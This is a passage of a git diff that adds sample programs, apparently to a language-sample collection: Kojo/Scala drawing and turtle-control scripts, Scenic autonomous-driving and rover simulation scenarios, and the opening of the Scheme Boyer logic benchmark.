+manageGameScore()
+playMp3Loop("/media/car-ride/car-move.mp3")
+activateCanvas()
+
+// Car images, via google images, from http://motor-kid.com/race-cars-top-view.html 
+// and www.carinfopic.com
+// Car sounds from http://soundbible.com
diff --git a/samples/Scala/fib-tree.kojo b/samples/Scala/fib-tree.kojo
new file mode 100644
index 0000000000..5e0ac3d0bc
--- /dev/null
+++ b/samples/Scala/fib-tree.kojo
@@ -0,0 +1,53 @@
+// Kojo examples (files ending in .kojo) are licensed under The MIT License:
+
+// Copyright (C) 2009-2018 Lalit Pant <pant.lalit@gmail.com> and the Kojo Dev Team.
+
+// Permission is hereby granted, free of charge, to any person obtaining a copy
+// of this software and associated documentation files (the "Software"), to deal
+// in the Software without restriction, including without limitation the rights
+// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+// copies of the Software, and to permit persons to whom the Software is
+// furnished to do so, subject to the following conditions:
+
+// The above copyright notice and this permission notice shall be included in all
+// copies or substantial portions of the Software.
+
+// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+// SOFTWARE.
+
+
+// Example from http://lalitpant.blogspot.in/2012/05/recursive-drawing-with-kojo.html
+// This example is based on Kojo Pictures
+val size = 100
+def S = Picture {
+    repeat (4) {
+        forward(size)
+        right()
+    }
+}
+
+def stem = scale(0.13, 1) * penColor(noColor) * fillColor(black) -> S
+
+clear()
+setBackground(Color(255, 170, 29))
+invisible()
+
+def drawing(n: Int): Picture = {
+    if (n == 1) 
+        stem
+    else 
+        GPics(stem,
+              trans(2, size-5) * brit(0.05) -> GPics(
+                rot(25) * scale(0.72) -> drawing(n-1),
+                rot(25) * trans(0, size * 0.72) * rot(-75) * scale(0.55) -> drawing(n-1)
+            )
+        )
+}
+
+val pic = trans(0, -100) -> drawing(10)
+draw(pic)
\ No newline at end of file
diff --git a/samples/Scala/turtle-controller.kojo b/samples/Scala/turtle-controller.kojo
new file mode 100644
index 0000000000..27f97b2a6d
--- /dev/null
+++ b/samples/Scala/turtle-controller.kojo
@@ -0,0 +1,84 @@
+// Kojo examples (files ending in .kojo) are licensed under The MIT License:
+
+// Copyright (C) 2009-2018 Lalit Pant <pant.lalit@gmail.com> and the Kojo Dev Team.
+
+// Permission is hereby granted, free of charge, to any person obtaining a copy
+// of this software and associated documentation files (the "Software"), to deal
+// in the Software without restriction, including without limitation the rights
+// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+// copies of the Software, and to permit persons to whom the Software is
+// furnished to do so, subject to the following conditions:
+
+// The above copyright notice and this permission notice shall be included in all
+// copies or substantial portions of the Software.
+
+// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+// SOFTWARE.
+
+// Run this program to get basic control over the turtle via some buttons
+// Useful for smaller kids
+
+// Change these value to tweak the behavior of the buttons
+val fdStep = 50
+val fdStep2 = 10
+val rtStep = 90
+val rtStep2 = 10
+val bgColor = white
+val sBgColor = "white"
+// End tweak region
+
+clear()
+clearOutput()
+beamsOn()
+val width = canvasBounds.width
+val height = canvasBounds.height
+
+setBackground(bgColor)
+setPenColor(purple)
+
+def action(code: String) {
+    interpret(code); println(code)
+}
+
+val cmd = Map(
+    "forward1" -> s"forward($fdStep)",
+    "forward2" -> s"forward($fdStep2)",
+    "hop1" -> s"hop($fdStep)",
+    "hop2" -> s"hop($fdStep2)",
+    "right1" -> s"right($rtStep)",
+    "right2" -> s"right($rtStep2)",
+    "left1" -> s"left($rtStep)",
+    "left2" -> s"left($rtStep2)"
+)
+
+def eraseCmds(n: Int) =
+    s"saveStyle(); setPenColor($sBgColor); setPenThickness(4); back($n); restoreStyle()"
+
+def button(forcmd: String) = PicShape.button(cmd(forcmd)) { action(cmd(forcmd)) }
+
+val panel = trans(-width / 2, -height / 2) * scale(1.4) -> VPics(
+    HPics(
+        button("left2"),
+        button("forward2"),
+        button("right2"),
+        button("hop2"),
+        PicShape.button(s"erase($fdStep2)") { action(eraseCmds(fdStep2)) }
+    ),
+    HPics(
+        button("left1"),
+        button("forward1"),
+        button("right1"),
+        button("hop1"),
+        PicShape.button(s"erase($fdStep)") { action(eraseCmds(fdStep)) }
+    )
+)
+
+draw(panel)
+println("// Paste the generated program below into the script editor")
+println("// and run it -- to reproduce your drawing")
+println("clear()")
diff --git a/samples/Scenic/bypassing.scenic b/samples/Scenic/bypassing.scenic
new file mode 100644
index 0000000000..7143327e3e
--- /dev/null
+++ b/samples/Scenic/bypassing.scenic
@@ -0,0 +1,97 @@
+"""
+TITLE: Bypassing 05
+AUTHOR: Francis Indaheng, findaheng@berkeley.edu
+DESCRIPTION: Ego vehicle performs multiple lane changes to bypass three 
+slow adversary vehicles.
+SOURCE: NHSTA, #16
+"""
+
+#################################
+# MAP AND MODEL                 #
+#################################
+
+param map = localPath('../../../../tests/formats/opendrive/maps/CARLA/Town03.xodr')
+param carla_map = 'Town03'
+model scenic.simulators.carla.model
+
+#################################
+# CONSTANTS                     #
+#################################
+
+MODEL = 'vehicle.lincoln.mkz2017'
+
+param EGO_SPEED = VerifaiRange(7, 10)
+param EGO_BRAKE = VerifaiRange(0.5, 1.0)
+
+param ADV1_DIST = VerifaiRange(20, 25)
+param ADV2_DIST = globalParameters.ADV1_DIST + VerifaiRange(15, 20)
+param ADV3_DIST = globalParameters.ADV2_DIST + VerifaiRange(15, 20)
+param ADV_SPEED = VerifaiRange(2, 4)
+
+BYPASS_DIST = 15
+INIT_DIST = 50
+TERM_DIST = globalParameters.ADV3_DIST + 15
+
+#################################
+# AGENT BEHAVIORS               #
+#################################
+
+behavior EgoBehavior():
+	try:
+		do FollowLaneBehavior(target_speed=globalParameters.EGO_SPEED)
+	interrupt when ((distance to adversary_1) < BYPASS_DIST
+				 or (distance to adversary_3) < BYPASS_DIST):
+		newLaneSec = self.laneSection.laneToRight
+		do LaneChangeBehavior(
+			laneSectionToSwitch=newLaneSec,
+			target_speed=globalParameters.EGO_SPEED)
+	interrupt when (distance to adversary_2) < BYPASS_DIST:
+		newLaneSec = self.laneSection.laneToLeft
+		do LaneChangeBehavior(
+			laneSectionToSwitch=newLaneSec,
+			target_speed=globalParameters.EGO_SPEED)
+
+behavior Adversary2Behavior():
+	rightLaneSec = self.laneSection.laneToRight
+	do LaneChangeBehavior(
+		laneSectionToSwitch=rightLaneSec,
+		target_speed=globalParameters.ADV_SPEED)
+	do FollowLaneBehavior(target_speed=globalParameters.ADV_SPEED)
+
+#################################
+# SPATIAL RELATIONS             #
+#################################
+
+initLane = Uniform(*filter(lambda lane:
+	all([sec._laneToRight is not None for sec in lane.sections]),
+	network.lanes))
+egoSpawnPt = OrientedPoint in initLane.centerline
+egoLaneSecToSwitch = initLane.sectionAt(egoSpawnPt).laneToRight
+
+#################################
+# SCENARIO SPECIFICATION        #
+#################################
+
+adversary_1, adversary_2, adversary_3 = Car, Car, Car
+
+ego = Car at egoSpawnPt,
+	with blueprint MODEL,
+	with behavior EgoBehavior()
+
+adversary_1 = Car following roadDirection for globalParameters.ADV1_DIST,
+	with blueprint MODEL,
+	with behavior FollowLaneBehavior(target_speed=globalParameters.ADV_SPEED)
+
+adversary_2 = Car following roadDirection for globalParameters.ADV2_DIST,
+	with blueprint MODEL,
+	with behavior Adversary2Behavior()
+
+adversary_3 = Car following roadDirection for globalParameters.ADV3_DIST,
+	with blueprint MODEL,
+	with behavior FollowLaneBehavior(target_speed=globalParameters.ADV_SPEED)
+
+require (distance to intersection) > INIT_DIST
+require (distance from adversary_1 to intersection) > INIT_DIST
+require (distance from adversary_2 to intersection) > INIT_DIST
+require (distance from adversary_3 to intersection) > INIT_DIST
+terminate when (distance to adversary_3) > TERM_DIST
diff --git a/samples/Scenic/composition.scenic b/samples/Scenic/composition.scenic
new file mode 100644
index 0000000000..593a586693
--- /dev/null
+++ b/samples/Scenic/composition.scenic
@@ -0,0 +1,22 @@
+"""A simple compositional scenario.
+
+Adapted from the 'Composing Scenarios' tutorial in the Scenic documentation.
+"""
+
+param map = localPath('tests/formats/opendrive/maps/CARLA/Town01.xodr')
+model scenic.simulators.newtonian.driving_model
+
+scenario ParkedCar(gap=0.25):
+    precondition: ego.laneGroup._shoulder != None
+    setup:
+        spot = OrientedPoint on visible ego.laneGroup.curb
+        parkedCar = Car left of spot by gap
+
+scenario Main():
+    setup:
+        ego = Car with behavior FollowLaneBehavior
+        terminate after 10 seconds
+    compose:
+        while True:
+            subScenario = ParkedCar(gap=0.25)
+            do subScenario until (distance past subScenario.parkedCar) > 10
diff --git a/samples/Scenic/driving_model.scenic b/samples/Scenic/driving_model.scenic
new file mode 100644
index 0000000000..6a9405e468
--- /dev/null
+++ b/samples/Scenic/driving_model.scenic
@@ -0,0 +1,384 @@
+"""Scenic world model for scenarios using the driving domain.
+
+(Taken from `src/scenic/domains/driving/model.scenic` in the Scenic repo.)
+
+Imports actions and behaviors for dynamic agents from
+:doc:`scenic.domains.driving.actions` and :doc:`scenic.domains.driving.behaviors`.
+
+The map file to use for the scenario must be specified before importing this model by
+defining the global parameter ``map``. This path is passed to the `Network.fromFile`
+function to create a `Network` object representing the road network. Extra options may be
+passed to the function by defining the global parameter ``map_options``, which should be
+a dictionary of keyword arguments. For example, we could write:
+
+.. code-block:: scenic
+
+    param map = localPath('mymap.xodr')
+    param map_options = { 'tolerance': 0.1 }
+    model scenic.domains.driving.model
+
+If you are writing a generic scenario that supports multiple maps, you may leave the
+``map`` parameter undefined; then running the scenario will produce an error unless the
+user uses the :option:`--param` command-line option to specify the map.
+
+.. note::
+
+    If you are using a simulator, you may have to also define simulator-specific global
+    parameters to tell the simulator which world to load. For example, our LGSVL
+    interface uses a parameter ``lgsvl_map`` to specify the name of the Unity scene.
+    See the :doc:`documentation <scenic.simulators>` of the simulator interfaces for
+    details.
+"""
+
+from typing import Optional
+
+from scenic.domains.driving.workspace import DrivingWorkspace
+from scenic.domains.driving.roads import (ManeuverType, Network, Road, Lane, LaneSection,
+                                          LaneGroup, Intersection, PedestrianCrossing,
+                                          NetworkElement)
+from scenic.domains.driving.actions import *
+from scenic.domains.driving.behaviors import *
+
+from scenic.core.distributions import RejectionException
+from scenic.simulators.utils.colors import Color
+
+## Load map and set up workspace
+
+if 'map' not in globalParameters:
+    raise RuntimeError('need to specify map before importing driving model '
+                       '(set the global parameter "map")')
+param map_options = {}
+
+#: The road network being used for the scenario, as a `Network` object.
+network : Network = Network.fromFile(globalParameters.map, **globalParameters.map_options)
+
+workspace = DrivingWorkspace(network)
+
+## Various useful objects and regions
+
+#: The union of all drivable roads, including intersections but not shoulders
+#: or parking lanes.
+road : Region = network.drivableRegion
+
+#: The union of all curbs.
+curb : Region = network.curbRegion
+
+#: The union of all sidewalks.
+sidewalk : Region = network.sidewalkRegion
+
+#: The union of all shoulders, including parking lanes.
+shoulder : Region = network.shoulderRegion
+
+#: All drivable areas, including both ordinary roads and shoulders.
+roadOrShoulder : Region = road.union(shoulder)
+
+#: The union of all intersections.
+intersection : Region = network.intersectionRegion
+
+#: A :obj:`VectorField` representing the nominal traffic direction at a given point.
+#:
+#: Inside intersections or anywhere else where there can be multiple nominal
+#: traffic directions, the choice is arbitrary. At such points, the function
+#: `Network.nominalDirectionsAt` can be used to get all nominal directions.
+roadDirection : VectorField = network.roadDirection
+
+## Standard object types
+
+class DrivingObject:
+    """Abstract class for objects in a road network.
+
+    Provides convenience properties for the lane, road, intersection, etc. at the
+    object's current position (if any).
+
+    Also defines the ``elevation`` property as a standard way to access the Z
+    component of an object's position, since the Scenic built-in property
+    ``position`` is only 2D. If ``elevation`` is set to :obj:`None`, the simulator is
+    responsible for choosing an appropriate Z coordinate so that the object is
+    on the ground, then updating the property. 2D simulators should set the
+    property to zero.
+
+    Properties:
+        elevation (float or None; dynamic): default ``None`` (see above).
+        requireVisible (bool): Default value ``False`` (overriding the default
+            from `Object`).
+    """
+
+    elevation[dynamic]: None
+
+    requireVisible: False
+
+    # Semantic category properties
+
+    @property
+    def isVehicle(self):
+        return False
+
+    @property
+    def isCar(self):
+        return False
+
+    # Convenience properties
+
+    @property
+    def lane(self) -> Lane:
+        """The `Lane` at the object's current position.
+
+        The simulation is rejected if the object is not in a lane.
+        (Use `DrivingObject._lane` to get `None` instead.)
+        """
+        return network.laneAt(self, reject='object is not in a lane')
+
+    @property
+    def _lane(self) -> Optional[Lane]:
+        """The `Lane` at the object's current position, if any."""
+        return network.laneAt(self)
+
+    @property
+    def laneSection(self) -> LaneSection:
+        """The `LaneSection` at the object's current position.
+
+        The simulation is rejected if the object is not in a lane.
+        """
+        return network.laneSectionAt(self, reject='object is not in a lane')
+
+    @property
+    def _laneSection(self) -> Optional[LaneSection]:
+        """The `LaneSection` at the object's current position, if any."""
+        return network.laneSectionAt(self)
+
+    @property
+    def laneGroup(self) -> LaneGroup:
+        """The `LaneGroup` at the object's current position.
+
+        The simulation is rejected if the object is not in a lane.
+        """
+        return network.laneGroupAt(self, reject='object is not in a lane')
+
+    @property
+    def _laneGroup(self) -> Optional[LaneGroup]:
+        """The `LaneGroup` at the object's current position, if any."""
+        return network.laneGroupAt(self)
+
+    @property
+    def oppositeLaneGroup(self) -> LaneGroup:
+        """The `LaneGroup` on the other side of the road from the object.
+
+        The simulation is rejected if the object is not on a two-way road.
+        """
+        return self.laneGroup.opposite
+
+    @property
+    def road(self) -> Road:
+        """The `Road` at the object's current position.
+
+        The simulation is rejected if the object is not on a road.
+        """
+        return network.roadAt(self, reject='object is not on a road')
+
+    @property
+    def _road(self) -> Optional[Road]:
+        """The `Road` at the object's current position, if any."""
+        return network.roadAt(self)
+
+    @property
+    def intersection(self) -> Intersection:
+        """The `Intersection` at the object's current position.
+
+        The simulation is rejected if the object is not in an intersection.
+        """
+        return network.intersectionAt(self, reject='object is not in an intersection')
+
+    @property
+    def _intersection(self) -> Optional[Intersection]:
+        """The `Intersection` at the object's current position, if any."""
+        return network.intersectionAt(self)
+
+    @property
+    def crossing(self) -> PedestrianCrossing:
+        """The `PedestrianCrossing` at the object's current position.
+
+        The simulation is rejected if the object is not in a crosswalk.
+        """
+        return network.crossingAt(self, reject='object is not in a crossing')
+
+    @property
+    def _crossing(self) -> Optional[PedestrianCrossing]:
+        """The `PedestrianCrossing` at the object's current position, if any."""
+        return network.crossingAt(self)
+
+    @property
+    def element(self) -> NetworkElement:
+        """The highest-level `NetworkElement` at the object's current position.
+
+        See `Network.elementAt` for the details of how this is determined.
+        The simulation is rejected if the object is not in any network element.
+        """
+        return network.elementAt(self, reject='object is not on any network element')
+
+    @property
+    def _element(self) -> Optional[NetworkElement]:
+        """The highest-level `NetworkElement` at the object's current position, if any."""
+        return network.elementAt(self)
+
+    # Utility functions
+
+    def distanceToClosest(self, type: type) -> Object:
+        """Compute the distance to the closest object of the given type.
+
+        For example, one could write :samp:`self.distanceToClosest(Car)` in a behavior.
+        """
+        objects = simulation().objects
+        minDist = float('inf')
+        for obj in objects:
+            if not isinstance(obj, type):
+                continue
+            d = distance from self to obj
+            if 0 < d < minDist:
+                minDist = d
+        return minDist
+
+    # Simulator interface implemented by subclasses
+
+    def setPosition(self, pos, elevation):
+        raise NotImplementedError
+
+    def setVelocity(self, vel):
+        raise NotImplementedError
+
+class Vehicle(DrivingObject):
+    """Vehicles which drive, such as cars.
+
+    Properties:
+        position: The default position is uniformly random over the `road`.
+        heading: The default heading is aligned with `roadDirection`, plus an offset
+            given by **roadDeviation**.
+        roadDeviation (float): Relative heading with respect to the road direction at
+            the `Vehicle`'s position. Used by the default value for **heading**.
+        regionContainedIn: The default container is :obj:`roadOrShoulder`.
+        viewAngle: The default view angle is 90 degrees.
+        width: The default width is 2 meters.
+        length: The default length is 4.5 meters.
+        color (:obj:`Color` or RGB tuple): Color of the vehicle. The default value is a
+            distribution derived from car color popularity statistics; see
+            :obj:`Color.defaultCarColor`.
+    """
+    regionContainedIn: roadOrShoulder
+    position: Point on road
+    heading: (roadDirection at self.position) + self.roadDeviation
+    roadDeviation: 0
+    viewAngle: 90 deg
+    width: 2
+    length: 4.5
+    color: Color.defaultCarColor()
+
+    @property
+    def isVehicle(self):
+        return True
+
+class Car(Vehicle):
+    """A car."""
+    @property
+    def isCar(self):
+        return True
+
+class NPCCar(Car):
+    """Car for which accurate physics is not required."""
+    pass
+
+class Pedestrian(DrivingObject):
+    """A pedestrian.
+
+    Properties:
+        position: The default position is uniformly random over sidewalks and crosswalks.
+        heading: The default heading is uniformly random.
+        viewAngle: The default view angle is 90 degrees.
+        width: The default width is 0.75 m.
+        length: The default length is 0.75 m.
+        color: The default color is turquoise. Pedestrian colors are not necessarily
+            used by simulators, but do appear in the debugging diagram.
+    """
+    regionContainedIn: network.walkableRegion
+    position: Point on network.walkableRegion
+    heading: Range(0, 360) deg
+    viewAngle: 90 deg
+    width: 0.75
+    length: 0.75
+    color: [0, 0.5, 1]
+
+# Mixin classes indicating support for various types of actions
+
+class Steers:
+    """Mixin protocol for agents which can steer.
+
+    Specifically, agents must support throttling, braking, steering, setting the hand
+    brake, and going into reverse.
+    """
+    def setThrottle(self, throttle): raise NotImplementedError
+
+    def setSteering(self, steering): raise NotImplementedError
+
+    def setBraking(self, braking): raise NotImplementedError
+
+    def setHandbrake(self, handbrake): raise NotImplementedError
+
+    def setReverse(self, reverse): raise NotImplementedError
+
+class Walks:
+    """Mixin protocol for agents which can walk with a given direction and speed.
+
+    We provide a simplistic implementation which directly sets the velocity of the agent.
+    This implementation needs to be explicitly opted-into, since simulators may provide a
+    more sophisticated API that properly animates pedestrians.
+    """
+    def setWalkingDirection(self, heading):
+        velocity = Vector(0, self.speed).rotatedBy(heading)
+        self.setVelocity(velocity)
+
+    def setWalkingSpeed(self, speed):
+        velocity = speed * self.velocity.normalized()
+        self.setVelocity(velocity)
+
+## Utility functions
+
+def withinDistanceToAnyCars(car, thresholdDistance):
+    """ returns boolean """
+    objects = simulation().objects
+    for obj in objects:
+        if obj is car or not isinstance(obj, Vehicle):
+            continue
+        if (distance from car to obj) < thresholdDistance:
+            return True
+    return False
+
+def withinDistanceToAnyObjs(vehicle, thresholdDistance):
+    """ checks whether there exists any obj
+    (1) in front of the vehicle, (2) within thresholdDistance """
+    objects = simulation().objects
+    for obj in objects:
+        if not (vehicle can see obj):
+            continue
+        if (distance from vehicle.position to obj.position) < 0.1:
+            # this means obj==vehicle
+            pass
+        elif (distance from vehicle.position to obj.position) < thresholdDistance:
+            return True
+    return False
+
+def withinDistanceToObjsInLane(vehicle, thresholdDistance):
+    """ checks whether there exists any obj
+    (1) in front of the vehicle, (2) on the same lane, (3) within thresholdDistance """
+    objects = simulation().objects
+    for obj in objects:
+        if not (vehicle can see obj):
+            continue
+        if (distance from vehicle.position to obj.position) < 0.1:
+            # this means obj==vehicle
+            continue
+        inter = network.intersectionAt(vehicle)
+        if inter and inter != network.intersectionAt(obj):    # different intersections
+            continue
+        if not inter and network.laneAt(vehicle) != network.laneAt(obj):    # different lanes
+            continue
+        if (distance from vehicle to obj) < thresholdDistance:
+            return True
+    return False
\ No newline at end of file
diff --git a/samples/Scenic/mars.scenic b/samples/Scenic/mars.scenic
new file mode 100644
index 0000000000..01b6b3cf38
--- /dev/null
+++ b/samples/Scenic/mars.scenic
@@ -0,0 +1,52 @@
+"""Driving a rover through a debris field with a bottleneck.
+
+This is the `examples/webots/mars/narrowGoal_dynamic.scenic` example
+from the Scenic repository.
+"""
+
+# Dynamic version of the narrowGoal scenario.
+
+model scenic.simulators.webots.mars.model
+
+ego = Rover at 0 @ -2, with controller 'sojourner'
+
+goal = Goal at Range(-2, 2) @ Range(2, 2.5)
+
+terminate when (distance to goal) <= 0.2
+
+monitor terminateOnT:
+    keyboard = simulation().supervisor.getKeyboard()
+    keyboard.enable(20)
+    print('Select the 3D window and press T to terminate the scenario and generate a new one.')
+    while True:
+        wait
+        if keyboard.getKey() == ord('T'):
+            terminate
+
+# Bottleneck made of two pipes with a rock in between
+
+gap = 1.2 * ego.width
+halfGap = gap / 2
+
+bottleneck = OrientedPoint offset by Range(-1.5, 1.5) @ Range(0.5, 1.5), facing Range(-30, 30) deg
+
+require abs((angle to goal) - (angle to bottleneck)) <= 10 deg
+
+BigRock at bottleneck
+
+leftEdge = OrientedPoint left of bottleneck by halfGap,
+    facing Range(60, 120) deg relative to bottleneck.heading
+rightEdge = OrientedPoint right of bottleneck by halfGap,
+    facing Range(-120, -60) deg relative to bottleneck.heading
+
+Pipe ahead of leftEdge, with length Range(1, 2)
+Pipe ahead of rightEdge, with length Range(1, 2)
+
+# Other junk because why not?
+
+Pipe
+BigRock beyond bottleneck by Range(-0.5, 0.5) @ Range(0.5, 1)
+BigRock beyond bottleneck by Range(-0.5, 0.5) @ Range(0.5, 1)
+Rock
+Rock
+Rock
diff --git a/samples/Scheme/sboyer.sch b/samples/Scheme/sboyer.sch
new file mode 100644
index 0000000000..eae4689b05
--- /dev/null
+++ b/samples/Scheme/sboyer.sch
@@ -0,0 +1,784 @@
+;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
+; File:         sboyer.sch
+; Description:  The Boyer benchmark
+; Author:       Bob Boyer
+; Created:      5-Apr-85
+; Modified:     10-Apr-85 14:52:20 (Bob Shaw)
+;               22-Jul-87 (Will Clinger)
+;               2-Jul-88 (Will Clinger -- distinguished #f and the empty list)
+;               13-Feb-97 (Will Clinger -- fixed bugs in unifier and rules,
+;                          rewrote to eliminate property lists, and added
+;                          a scaling parameter suggested by Bob Boyer)
+;               19-Mar-99 (Will Clinger -- cleaned up comments)
+;               4-Apr-01 (Will Clinger -- changed four 1- symbols to sub1)
+; Language:     Scheme
+; Status:       Public Domain
+;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
+
+;;; SBOYER -- Logic programming benchmark, originally written by Bob Boyer.
+;;; Much less CONS-intensive than NBOYER because it uses Henry Baker's
+;;; "sharing cons".
+
+; Note:  The version of this benchmark that appears in Dick Gabriel's book
+; contained several bugs that are corrected here.  These bugs are discussed
+; by Henry Baker, "The Boyer Benchmark Meets Linear Logic", ACM SIGPLAN Lisp
+; Pointers 6(4), October-December 1993, pages 3-10.  The fixed bugs are:
+;
+;    The benchmark now returns a boolean result.
+;    FALSEP and TRUEP use TERM-MEMBER? rather than MEMV (which is called MEMBER
+;         in Common Lisp)
+;    ONE-WAY-UNIFY1 now treats numbers correctly
+;    ONE-WAY-UNIFY1-LST now treats empty lists correctly
+;    Rule 19 has been corrected (this rule was not touched by the original
+;         benchmark, but is used by this version)
+;    Rules 84 and 101 have been corrected (but these rules are never touched
+;         by the benchmark)
+;
+; According to Baker, these bug fixes make the benchmark 10-25% slower.
+; Please do not compare the timings from this benchmark against those of
+; the original benchmark.
+;
+; This version of the benchmark also prints the number of rewrites as a sanity
+; check, because it is too easy for a buggy version to return the correct
+; boolean result.  The correct number of rewrites is
+;
+;     n      rewrites       peak live storage (approximate, in bytes)
+;     0         95024
+;     1        591777
+;     2       1813975
+;     3       5375678
+;     4      16445406
+;     5      51507739
+
+; Sboyer is a 2-phase benchmark.
+; The first phase attaches lemmas to symbols.  This phase is not timed,
+; but it accounts for very little of the runtime anyway.
+; The second phase creates the test problem, and tests to see
+; whether it is implied by the lemmas.
+
+(define (sboyer-benchmark . args)
+  (let ((n (if (null? args) 0 (car args))))
+    (setup-boyer)
+    (run-benchmark (string-append "sboyer"
+                                  (number->string n))
+                   1
+                   (lambda () (test-boyer n))
+                   (lambda (rewrites)
+                     (and (number? rewrites)
+                          (case n
+                           ((0)  (= rewrites 95024))
+                           ((1)  (= rewrites 591777))
+                           ((2)  (= rewrites 1813975))
+                           ((3)  (= rewrites 5375678))
+                           ((4)  (= rewrites 16445406))
+                           ((5)  (= rewrites 51507739))
+                           ; If it works for n <= 5, assume it works.
+                           (else #t)))))))
+
+(define (setup-boyer) #t) ; assigned below
+(define (test-boyer) #t)  ; assigned below
+
+;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
+;
+; The first phase.
+;
+;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
+
+; In the original benchmark, it stored a list of lemmas on the
+; property lists of symbols.
+; In the new benchmark, it maintains an association list of
+; symbols and symbol-records, and stores the list of lemmas
+; within the symbol-records.
+
+(let ()
+  
+  (define (setup)
+    (add-lemma-lst
+     (quote ((equal (compile form)
+                    (reverse (codegen (optimize form)
+                                      (nil))))
+             (equal (eqp x y)
+                    (equal (fix x)
+                           (fix y)))
+             (equal (greaterp x y)
+                    (lessp y x))
+             (equal (lesseqp x y)
+                    (not (lessp y x)))
+             (equal (greatereqp x y)
+                    (not (lessp x y)))
+             (equal (boolean x)
+                    (or (equal x (t))
+                        (equal x (f))))
+             (equal (iff x y)
+                    (and (implies x y)
+                         (implies y x)))
+             (equal (even1 x)
+                    (if (zerop x)
+                        (t)
+                        (odd (sub1 x))))
+             (equal (countps- l pred)
+                    (countps-loop l pred (zero)))
+             (equal (fact- i)
+                    (fact-loop i 1))
+             (equal (reverse- x)
+                    (reverse-loop x (nil)))
+             (equal (divides x y)
+                    (zerop (remainder y x)))
+             (equal (assume-true var alist)
+                    (cons (cons var (t))
+                          alist))
+             (equal (assume-false var alist)
+                    (cons (cons var (f))
+                          alist))
+             (equal (tautology-checker x)
+                    (tautologyp (normalize x)
+                                (nil)))
+             (equal (falsify x)
+                    (falsify1 (normalize x)
+                              (nil)))
+             (equal (prime x)
+                    (and (not (zerop x))
+                         (not (equal x (add1 (zero))))
+                         (prime1 x (sub1 x))))
+             (equal (and p q)
+                    (if p (if q (t)
+                                (f))
+                          (f)))
+             (equal (or p q)
+                    (if p (t)
+                          (if q (t)
+                                (f))))
+             (equal (not p)
+                    (if p (f)
+                          (t)))
+             (equal (implies p q)
+                    (if p (if q (t)
+                                (f))
+                          (t)))
+             (equal (fix x)
+                    (if (numberp x)
+                        x
+                        (zero)))
+             (equal (if (if a b c)
+                        d e)
+                    (if a (if b d e)
+                          (if c d e)))
+             (equal (zerop x)
+                    (or (equal x (zero))
+                        (not (numberp x))))
+             (equal (plus (plus x y)
+                          z)
+                    (plus x (plus y z)))
+             (equal (equal (plus a b)
+                           (zero))
+                    (and (zerop a)
+                         (zerop b)))
+             (equal (difference x x)
+                    (zero))
+             (equal (equal (plus a b)
+                           (plus a c))
+                    (equal (fix b)
+                           (fix c)))
+             (equal (equal (zero)
+                           (difference x y))
+                    (not (lessp y x)))
+             (equal (equal x (difference x y))
+                    (and (numberp x)
+                         (or (equal x (zero))
+                             (zerop y))))
+             (equal (meaning (plus-tree (append x y))
+                             a)
+                    (plus (meaning (plus-tree x)
+                                   a)
+                          (meaning (plus-tree y)
+                                   a)))
+             (equal (meaning (plus-tree (plus-fringe x))
+                             a)
+                    (fix (meaning x a)))
+             (equal (append (append x y)
+                            z)
+                    (append x (append y z)))
+             (equal (reverse (append a b))
+                    (append (reverse b)
+                            (reverse a)))
+             (equal (times x (plus y z))
+                    (plus (times x y)
+                          (times x z)))
+             (equal (times (times x y)
+                           z)
+                    (times x (times y z)))
+             (equal (equal (times x y)
+                           (zero))
+                    (or (zerop x)
+                        (zerop y)))
+             (equal (exec (append x y)
+                          pds envrn)
+                    (exec y (exec x pds envrn)
+                            envrn))
+             (equal (mc-flatten x y)
+                    (append (flatten x)
+                            y))
+             (equal (member x (append a b))
+                    (or (member x a)
+                        (member x b)))
+             (equal (member x (reverse y))
+                    (member x y))
+             (equal (length (reverse x))
+                    (length x))
+             (equal (member a (intersect b c))
+                    (and (member a b)
+                         (member a c)))
+             (equal (nth (zero)
+                         i)
+                    (zero))
+             (equal (exp i (plus j k))
+                    (times (exp i j)
+                           (exp i k)))
+             (equal (exp i (times j k))
+                    (exp (exp i j)
+                         k))
+             (equal (reverse-loop x y)
+                    (append (reverse x)
+                            y))
+             (equal (reverse-loop x (nil))
+                    (reverse x))
+             (equal (count-list z (sort-lp x y))
+                    (plus (count-list z x)
+                          (count-list z y)))
+             (equal (equal (append a b)
+                           (append a c))
+                    (equal b c))
+             (equal (plus (remainder x y)
+                          (times y (quotient x y)))
+                    (fix x))
+             (equal (power-eval (big-plus1 l i base)
+                                base)
+                    (plus (power-eval l base)
+                          i))
+             (equal (power-eval (big-plus x y i base)
+                                base)
+                    (plus i (plus (power-eval x base)
+                                  (power-eval y base))))
+             (equal (remainder y 1)
+                    (zero))
+             (equal (lessp (remainder x y)
+                           y)
+                    (not (zerop y)))
